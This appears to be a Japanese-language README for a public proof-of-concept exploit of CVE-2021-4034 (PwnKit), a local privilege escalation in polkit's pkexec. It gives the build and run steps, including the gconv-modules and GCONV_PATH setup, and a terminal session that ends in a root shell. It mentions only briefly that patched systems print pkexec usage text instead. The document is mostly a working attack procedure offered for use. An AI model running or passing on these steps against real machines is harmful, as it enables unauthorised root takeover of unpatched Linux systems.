
polkit権限昇格エクスプロイトのためのワンデイ
make を実行し、./cve-2021-4034 を実行するだけで、rootシェルを手に入れられます。
実際の作者による元のアドバイザリはこちらです。
エクスプロイトが成功すると、すぐにrootシェルが取得できます:
localuser@ubuntu-poc:~/CVE-2021-4034$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
localuser@ubuntu-poc:~/CVE-2021-4034$ ./cve-2021-4034
# whoami
root
# exit
ほとんどのシステムでpolkitを更新するとエクスプロイトが修正されるため、使用方法が表示されてプログラムが終了します:
localuser@ubuntu-poc:~/CVE-2021-4034$ ./cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
詳細については、pkexecのマニュアルページを参照してください。
localuser@ubuntu-poc:~/CVE-2021-4034$